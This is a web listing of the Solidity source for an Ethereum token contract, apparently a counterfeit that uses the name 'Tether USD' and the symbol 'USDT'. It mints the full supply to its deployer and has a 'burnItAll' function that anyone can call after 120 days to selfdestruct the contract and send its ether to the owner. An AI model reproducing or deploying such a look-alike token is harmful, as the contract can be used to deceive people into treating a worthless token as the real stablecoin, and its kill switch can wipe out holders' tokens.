Description:
Smart contract deployed on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract TetherUSD {
string public name = "Tether USD";
string public symbol = "USDT";
uint8 public decimals = 6;
uint256 public totalSupply;
address public owner;
uint256 public createdAt;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor(uint256 _supply) {
owner = msg.sender;
totalSupply = _supply * 10**uint256(decimals);
balanceOf[owner] = totalSupply;
createdAt = block.timestamp;
}
function transfer(address _to, uint256 _value) external returns (bool) {
require(balanceOf[msg.sender] >= _value, "Insufficient");
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) external returns (bool) {
allowance[msg.sender][_spender] = _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value) external returns (bool) {
require(balanceOf[_from] >= _value, "Insufficient");
require(allowance[_from][msg.sender] >= _value, "Not approved");
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function burnItAll() external {
require(block.timestamp >= createdAt + 120 days, "Too early");
selfdestruct(payable(owner));
}
}
Submitted on: 2025-11-02 15:45:00
Comments
Log in to comment.
No comments yet.